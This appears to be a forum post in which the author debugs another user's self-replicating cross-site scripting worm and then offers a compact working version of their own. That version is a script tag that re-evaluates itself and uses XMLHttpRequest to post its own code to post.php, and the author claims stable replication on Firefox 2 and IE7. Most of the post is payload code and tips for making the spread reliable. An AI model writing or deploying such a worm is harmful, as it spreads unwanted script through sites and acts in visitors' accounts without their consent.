Quote
.mario
(...)
I expect you to recognize the error in a second(...)
p="alert('XSS');x=/*@cc_on!@*/1?new XMLHttpsRequest:new ActiveXObjekt('Microsoft.XMLHTTP');x.open('post','post.php');x.setRequestHeader('content-type','application/x-www-form-urlencoded');x.send('content=p=\"'+p+'\";'+p);if(!i){e(p);i=1}";
e=eval;e(p)
The only web 2.0 trial, what's wrong:
-XMLHttp
sRequest->XMLHttpRequest
(where/for who have you've been coding ;-)
-ActiveXObje
kt->ActiveXObje
ct
(not needed, so is the /*@cc_on!@*/)
-x.send('content=p=\"'+p+'\";'+p);
p twice!, \" get's lost after the first decoding, p is not encoded!, doesn't include script tags & eval(p)! (I know there is e(p), but e is undefined if posted & it's just a string that's never evaluated).
-if(!i){e(p);i=1}
e is undefined if posted (will only stop the script from running twice on the same page).
Note: you didn't included the <script></script> tags, which's counts and will be needed ...
Quote
.mario
that makes sure it won't loop on the first site it's executed
Good point! Because all implementations with <form> postings might loop on the form page, replicating itself indefinitely ...
That's why an XMLHttpRequest is nice, it only get's the page once and doesn't loop (other tricks/methods might work too).
My current (working) implementation with XMLHttpRequest:
<script>eval(y="alert('XSS');q=String.fromCharCode(34);(x=new XMLHttpRequest()).open('POST','post.php');x.send('content='+encodeURIComponent('<script>eval(y='+q+y+q+')</sc'+'ript>'))")</script> (without setting the content-type, is this really needed when properly encoded?)
Nice features:
- 100% stable replication on FF2/IE7
- only runs once
- pure JavaScript, no crappy HTML or DOM knowledge etc...
Crap:
- 193 bytes
- q=String.fromCharCode(34);
it is needed since any \"
escaped encoding won't propagate itself right
- encodeURIComponent()
only method that seems to do the job right (escape & encodeURI won't)